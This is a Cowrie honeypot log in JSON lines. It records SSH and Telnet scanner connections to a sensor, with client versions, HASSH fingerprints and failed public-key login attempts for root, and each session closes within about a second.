{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:06:ba:56:f2:5d:18:21:32:73:c8:71:82:84:54:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCczLuPaYOoHOxJ7c1JsbmXzXf9J1ar3UcZedFB2Ar1NB2swWE/qxlmEX68OuTnb7YYlEqU4dsP3S9FTurEVMFCv8x0s0nN9kUa6ZsE8ulLQ1Z4I7ijBo7QlQ8Xj0aoOhQ4rdxw6UAykC+gTNzklWz1Ej+0Ndx+7Hn4uY9kGtdKXB5rwkY7MlOAYS/Xh68lhC/LqclKVrc2O68WGlOXew6Zgc31MU/b28LIb8rDxfrhNjYUA+dCjTfR0L5WDyZJ6GcGNy7pE7WPXb7G4YMm+7R/DBcD6FqtkuMKHY2lkRRIGeCbqc08+D2BTjqGkoIErl4cj0RSQAcyLY+N66aMjdPj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.597822Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:aa:9e:72:4c:1c:55:8a:69:e5:b0:ec:a7:35:61:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRCpd6Eqw6/KymznQREJUKUaoSE8NjXriqTuadOXqdwzBw4wE8NUDsJZpEwiwLEm7aDuC2oLrjIASQQWzROY/mX36ii1xgubWTFcUuVIsWrhpWWT5ok5UpTq9MAPJFHueuzMZgsvnHrOT/AnNi9hTQ4rKZZuCjU0m6fS6C05WRirL9RnlYHqB1guPpRytHh+07q6hNF9sUoR8/lenPJ/P5SL/Yjx5jCZ9yxLGaeOnfHdJgK6pGV7+J2SMnMRxVZLG3ntLdMsR4ZRNW89wzXYNyPxnzVdGBY6jC4YgpMvncRVSHjP9h6F6XKBKZIjtzzv50UPocLQphKjE3NN9VL5Uz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:aa:9e:72:4c:1c:55:8a:69:e5:b0:ec:a7:35:61:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.686937Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:aa:9e:72:4c:1c:55:8a:69:e5:b0:ec:a7:35:61:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRCpd6Eqw6/KymznQREJUKUaoSE8NjXriqTuadOXqdwzBw4wE8NUDsJZpEwiwLEm7aDuC2oLrjIASQQWzROY/mX36ii1xgubWTFcUuVIsWrhpWWT5ok5UpTq9MAPJFHueuzMZgsvnHrOT/AnNi9hTQ4rKZZuCjU0m6fS6C05WRirL9RnlYHqB1guPpRytHh+07q6hNF9sUoR8/lenPJ/P5SL/Yjx5jCZ9yxLGaeOnfHdJgK6pGV7+J2SMnMRxVZLG3ntLdMsR4ZRNW89wzXYNyPxnzVdGBY6jC4YgpMvncRVSHjP9h6F6XKBKZIjtzzv50UPocLQphKjE3NN9VL5Uz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.691279Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:2e:85:c5:b1:a3:aa:0d:1e:56:b2:3d:0b:d4:58:48","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALixBBkvRAdUZ/c+eZLDrzqRvcYx9PdUK/T8HZyWMxPQc1Jkm0Ns71I5boajKIPIMSlLYtyJQdEqDtfeAssuDB7gIxBaz4EJdoGYHB4UbDOY0hOdmeVXO4SBbz123QNIaKwTS/g8uXVNR5eiKDGmPotTKDNM0PWyfL8C0qKnY/N3AAAAFQCFZUYYWHUJCz55+mgPNuglruDrmwAAAIEAoys0NucbuQTnAHjiBw/9Dy0YEBVWm/q9ngVrcffdYryCSOzKrTVwVBFrADq8KFEOsS3FJi01+6I1+C1+8U+V/zjSgLedp+johk1MKU3tuSAxU9PJWDeFgaPUMnweQM4BWnkg4VMA/SPNlOeBWA8bL1wm8yj/1NwONJGZHmB7+n0AAACBAKbhzYg2zA09nZG4kyp4X9HCXajAHvb2cDiv19n+hE6dsHPjiOSn5yQ0Xu0uqJ+Cm0nCRexG6fO4c0XjxHCPJMBTM7xhLUIOaFZAvmBXLYRXbdorhVgMAkBgdDt14Dz2XHUN8UhtlgOepPOjFL7OX39hU3REJ0XI7oQ5/VPfHIvd","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c1:2e:85:c5:b1:a3:aa:0d:1e:56:b2:3d:0b:d4:58:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.782238Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:2e:85:c5:b1:a3:aa:0d:1e:56:b2:3d:0b:d4:58:48","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALixBBkvRAdUZ/c+eZLDrzqRvcYx9PdUK/T8HZyWMxPQc1Jkm0Ns71I5boajKIPIMSlLYtyJQdEqDtfeAssuDB7gIxBaz4EJdoGYHB4UbDOY0hOdmeVXO4SBbz123QNIaKwTS/g8uXVNR5eiKDGmPotTKDNM0PWyfL8C0qKnY/N3AAAAFQCFZUYYWHUJCz55+mgPNuglruDrmwAAAIEAoys0NucbuQTnAHjiBw/9Dy0YEBVWm/q9ngVrcffdYryCSOzKrTVwVBFrADq8KFEOsS3FJi01+6I1+C1+8U+V/zjSgLedp+johk1MKU3tuSAxU9PJWDeFgaPUMnweQM4BWnkg4VMA/SPNlOeBWA8bL1wm8yj/1NwONJGZHmB7+n0AAACBAKbhzYg2zA09nZG4kyp4X9HCXajAHvb2cDiv19n+hE6dsHPjiOSn5yQ0Xu0uqJ+Cm0nCRexG6fO4c0XjxHCPJMBTM7xhLUIOaFZAvmBXLYRXbdorhVgMAkBgdDt14Dz2XHUN8UhtlgOepPOjFL7OX39hU3REJ0XI7oQ5/VPfHIvd","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.786888Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.877872Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.24.249","src_port":56844,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac6b8fd01707","protocol":"ssh","message":"New connection: 108.181.24.249:56844 (10.17.0.5:22) [session: ac6b8fd01707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:51.886029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:51.890741Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:51.967886Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:2c:da:02:55:56:2e:ec:0b:dd:94:be:fd:aa:ee:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYbd3xwJtIXKSChnwWx40YPHYTWy1OsBPMBfTc2+OlIgHN/cUuctBPfCm7A6UikQsXOy9hXDeazPJqLB+cG1PC3oiBQzA20TeU5ktSBNjBJi4Nbkkiv7+M6dVbQWshr/BLB+vPSf6q4yJ/lrhjN4nGMtcU/ucZ44yJ6I0A43NSeEOmspUt97aVRCs+dY9F7v2JEuzVqWwn6QpqExYpeEAgC9ihR397lhpuZ3/YGy7WeYFKxOttt/7LwJlMp9yMuAqg1Nxalg8aAabayTkdnfGk/WwNTI6JyQxNtfvlYHtwm17D4e90RJ4O1WcI1l2vIAklH3ERnfo1iQzDawW/N7hf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:2c:da:02:55:56:2e:ec:0b:dd:94:be:fd:aa:ee:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.323963Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:2c:da:02:55:56:2e:ec:0b:dd:94:be:fd:aa:ee:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYbd3xwJtIXKSChnwWx40YPHYTWy1OsBPMBfTc2+OlIgHN/cUuctBPfCm7A6UikQsXOy9hXDeazPJqLB+cG1PC3oiBQzA20TeU5ktSBNjBJi4Nbkkiv7+M6dVbQWshr/BLB+vPSf6q4yJ/lrhjN4nGMtcU/ucZ44yJ6I0A43NSeEOmspUt97aVRCs+dY9F7v2JEuzVqWwn6QpqExYpeEAgC9ihR397lhpuZ3/YGy7WeYFKxOttt/7LwJlMp9yMuAqg1Nxalg8aAabayTkdnfGk/WwNTI6JyQxNtfvlYHtwm17D4e90RJ4O1WcI1l2vIAklH3ERnfo1iQzDawW/N7hf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.328457Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:d1:e0:6a:1b:ed:53:0b:8e:17:62:a5:40:51:b3:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5Q/Z1x/FFPkGH2z4H5q5+ljw0TWp6mRkPxpeRywM7MXWU8XJ+L5KAg9o/8jSAobq2gTMZeRnu7yWX2+B0CbOsk27xgsLLZCJq2b+NFFnjXqK+T42+Ev4KnZLNc6ihf/RyZpOqCWCZwd3b6npPn31QBwjNqvzgo5VHtKd+jPco+Niq/3WKEybAH5uFgTbsdyFejm+TxEj/4ji1+T9gItcz3+i44+hznTFzzpMEBZV2O94PB8+ySoTh2Yu3r9igTgccF/9ikrqsr2XfIrJbaW2rUzqfIu16Ct/CAqa9lSUBLiNX6xh1Vj1nyxTeBiH1cZtYHc8nwUUCbk0jU0v7T60jnb3JON+kLLtDweJI1jg5ojjjkWUWsJRXxTfSku2uqzIxehzP4WvdMKzfwbTOzYV/7yThsfS/VMNQHzvoj+jQO/UQVJE5F78XJqOGpKAs4cqst1sImedWPx9F5bPZ0RgeVYvwxdkqnY+1EAT22VanQTkXyiapgKWT/P9DLkiT50YAe/7dfgZOHrbtRdI6/taW07GLNWUIQIzTYvCkDAh6klTMrT5QNcJr97Gykd3++d3QcnK7L2Y8yiWc/Hqb/u8McX1FuXG340Yp/xbGimgZ4NEg/RFi+iHe+SufqyfozH3hNcVUzpgNHWRSZLq0OwzE2xWhilTko/QlOJ80xhHSrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:d1:e0:6a:1b:ed:53:0b:8e:17:62:a5:40:51:b3:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.406049Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:d1:e0:6a:1b:ed:53:0b:8e:17:62:a5:40:51:b3:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5Q/Z1x/FFPkGH2z4H5q5+ljw0TWp6mRkPxpeRywM7MXWU8XJ+L5KAg9o/8jSAobq2gTMZeRnu7yWX2+B0CbOsk27xgsLLZCJq2b+NFFnjXqK+T42+Ev4KnZLNc6ihf/RyZpOqCWCZwd3b6npPn31QBwjNqvzgo5VHtKd+jPco+Niq/3WKEybAH5uFgTbsdyFejm+TxEj/4ji1+T9gItcz3+i44+hznTFzzpMEBZV2O94PB8+ySoTh2Yu3r9igTgccF/9ikrqsr2XfIrJbaW2rUzqfIu16Ct/CAqa9lSUBLiNX6xh1Vj1nyxTeBiH1cZtYHc8nwUUCbk0jU0v7T60jnb3JON+kLLtDweJI1jg5ojjjkWUWsJRXxTfSku2uqzIxehzP4WvdMKzfwbTOzYV/7yThsfS/VMNQHzvoj+jQO/UQVJE5F78XJqOGpKAs4cqst1sImedWPx9F5bPZ0RgeVYvwxdkqnY+1EAT22VanQTkXyiapgKWT/P9DLkiT50YAe/7dfgZOHrbtRdI6/taW07GLNWUIQIzTYvCkDAh6klTMrT5QNcJr97Gykd3++d3QcnK7L2Y8yiWc/Hqb/u8McX1FuXG340Yp/xbGimgZ4NEg/RFi+iHe+SufqyfozH3hNcVUzpgNHWRSZLq0OwzE2xWhilTko/QlOJ80xhHSrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.410324Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:06:ba:56:f2:5d:18:21:32:73:c8:71:82:84:54:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCczLuPaYOoHOxJ7c1JsbmXzXf9J1ar3UcZedFB2Ar1NB2swWE/qxlmEX68OuTnb7YYlEqU4dsP3S9FTurEVMFCv8x0s0nN9kUa6ZsE8ulLQ1Z4I7ijBo7QlQ8Xj0aoOhQ4rdxw6UAykC+gTNzklWz1Ej+0Ndx+7Hn4uY9kGtdKXB5rwkY7MlOAYS/Xh68lhC/LqclKVrc2O68WGlOXew6Zgc31MU/b28LIb8rDxfrhNjYUA+dCjTfR0L5WDyZJ6GcGNy7pE7WPXb7G4YMm+7R/DBcD6FqtkuMKHY2lkRRIGeCbqc08+D2BTjqGkoIErl4cj0RSQAcyLY+N66aMjdPj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:06:ba:56:f2:5d:18:21:32:73:c8:71:82:84:54:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.486988Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:06:ba:56:f2:5d:18:21:32:73:c8:71:82:84:54:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCczLuPaYOoHOxJ7c1JsbmXzXf9J1ar3UcZedFB2Ar1NB2swWE/qxlmEX68OuTnb7YYlEqU4dsP3S9FTurEVMFCv8x0s0nN9kUa6ZsE8ulLQ1Z4I7ijBo7QlQ8Xj0aoOhQ4rdxw6UAykC+gTNzklWz1Ej+0Ndx+7Hn4uY9kGtdKXB5rwkY7MlOAYS/Xh68lhC/LqclKVrc2O68WGlOXew6Zgc31MU/b28LIb8rDxfrhNjYUA+dCjTfR0L5WDyZJ6GcGNy7pE7WPXb7G4YMm+7R/DBcD6FqtkuMKHY2lkRRIGeCbqc08+D2BTjqGkoIErl4cj0RSQAcyLY+N66aMjdPj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.490956Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:aa:9e:72:4c:1c:55:8a:69:e5:b0:ec:a7:35:61:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRCpd6Eqw6/KymznQREJUKUaoSE8NjXriqTuadOXqdwzBw4wE8NUDsJZpEwiwLEm7aDuC2oLrjIASQQWzROY/mX36ii1xgubWTFcUuVIsWrhpWWT5ok5UpTq9MAPJFHueuzMZgsvnHrOT/AnNi9hTQ4rKZZuCjU0m6fS6C05WRirL9RnlYHqB1guPpRytHh+07q6hNF9sUoR8/lenPJ/P5SL/Yjx5jCZ9yxLGaeOnfHdJgK6pGV7+J2SMnMRxVZLG3ntLdMsR4ZRNW89wzXYNyPxnzVdGBY6jC4YgpMvncRVSHjP9h6F6XKBKZIjtzzv50UPocLQphKjE3NN9VL5Uz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:aa:9e:72:4c:1c:55:8a:69:e5:b0:ec:a7:35:61:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.568009Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:aa:9e:72:4c:1c:55:8a:69:e5:b0:ec:a7:35:61:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRCpd6Eqw6/KymznQREJUKUaoSE8NjXriqTuadOXqdwzBw4wE8NUDsJZpEwiwLEm7aDuC2oLrjIASQQWzROY/mX36ii1xgubWTFcUuVIsWrhpWWT5ok5UpTq9MAPJFHueuzMZgsvnHrOT/AnNi9hTQ4rKZZuCjU0m6fS6C05WRirL9RnlYHqB1guPpRytHh+07q6hNF9sUoR8/lenPJ/P5SL/Yjx5jCZ9yxLGaeOnfHdJgK6pGV7+J2SMnMRxVZLG3ntLdMsR4ZRNW89wzXYNyPxnzVdGBY6jC4YgpMvncRVSHjP9h6F6XKBKZIjtzzv50UPocLQphKjE3NN9VL5Uz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.572591Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:2e:85:c5:b1:a3:aa:0d:1e:56:b2:3d:0b:d4:58:48","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALixBBkvRAdUZ/c+eZLDrzqRvcYx9PdUK/T8HZyWMxPQc1Jkm0Ns71I5boajKIPIMSlLYtyJQdEqDtfeAssuDB7gIxBaz4EJdoGYHB4UbDOY0hOdmeVXO4SBbz123QNIaKwTS/g8uXVNR5eiKDGmPotTKDNM0PWyfL8C0qKnY/N3AAAAFQCFZUYYWHUJCz55+mgPNuglruDrmwAAAIEAoys0NucbuQTnAHjiBw/9Dy0YEBVWm/q9ngVrcffdYryCSOzKrTVwVBFrADq8KFEOsS3FJi01+6I1+C1+8U+V/zjSgLedp+johk1MKU3tuSAxU9PJWDeFgaPUMnweQM4BWnkg4VMA/SPNlOeBWA8bL1wm8yj/1NwONJGZHmB7+n0AAACBAKbhzYg2zA09nZG4kyp4X9HCXajAHvb2cDiv19n+hE6dsHPjiOSn5yQ0Xu0uqJ+Cm0nCRexG6fO4c0XjxHCPJMBTM7xhLUIOaFZAvmBXLYRXbdorhVgMAkBgdDt14Dz2XHUN8UhtlgOepPOjFL7OX39hU3REJ0XI7oQ5/VPfHIvd","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c1:2e:85:c5:b1:a3:aa:0d:1e:56:b2:3d:0b:d4:58:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.651590Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:2e:85:c5:b1:a3:aa:0d:1e:56:b2:3d:0b:d4:58:48","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALixBBkvRAdUZ/c+eZLDrzqRvcYx9PdUK/T8HZyWMxPQc1Jkm0Ns71I5boajKIPIMSlLYtyJQdEqDtfeAssuDB7gIxBaz4EJdoGYHB4UbDOY0hOdmeVXO4SBbz123QNIaKwTS/g8uXVNR5eiKDGmPotTKDNM0PWyfL8C0qKnY/N3AAAAFQCFZUYYWHUJCz55+mgPNuglruDrmwAAAIEAoys0NucbuQTnAHjiBw/9Dy0YEBVWm/q9ngVrcffdYryCSOzKrTVwVBFrADq8KFEOsS3FJi01+6I1+C1+8U+V/zjSgLedp+johk1MKU3tuSAxU9PJWDeFgaPUMnweQM4BWnkg4VMA/SPNlOeBWA8bL1wm8yj/1NwONJGZHmB7+n0AAACBAKbhzYg2zA09nZG4kyp4X9HCXajAHvb2cDiv19n+hE6dsHPjiOSn5yQ0Xu0uqJ+Cm0nCRexG6fO4c0XjxHCPJMBTM7xhLUIOaFZAvmBXLYRXbdorhVgMAkBgdDt14Dz2XHUN8UhtlgOepPOjFL7OX39hU3REJ0XI7oQ5/VPfHIvd","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.657863Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:52.737428Z","src_ip":"108.181.24.249","session":"ac6b8fd01707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":49841,"dst_ip":"10.17.0.5","dst_port":23,"session":"248013dfa0e4","protocol":"telnet","message":"New connection: 212.55.149.117:49841 (10.17.0.5:23) [session: 248013dfa0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:01.929983Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27376,"dst_ip":"10.17.0.5","dst_port":22,"session":"25e7e1597dbd","protocol":"ssh","message":"New connection: 194.59.206.2:27376 (10.17.0.5:22) [session: 25e7e1597dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:24.548522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:24.553777Z","src_ip":"194.59.206.2","session":"25e7e1597dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:24.644583Z","src_ip":"194.59.206.2","session":"25e7e1597dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:24.736426Z","src_ip":"194.59.206.2","session":"25e7e1597dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":52856,"dst_ip":"10.17.0.5","dst_port":22,"session":"b94a5dedf77e","protocol":"ssh","message":"New connection: 103.15.226.202:52856 (10.17.0.5:22) [session: b94a5dedf77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:35.157675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:35.163218Z","src_ip":"103.15.226.202","session":"b94a5dedf77e","protocol":"ssh"}
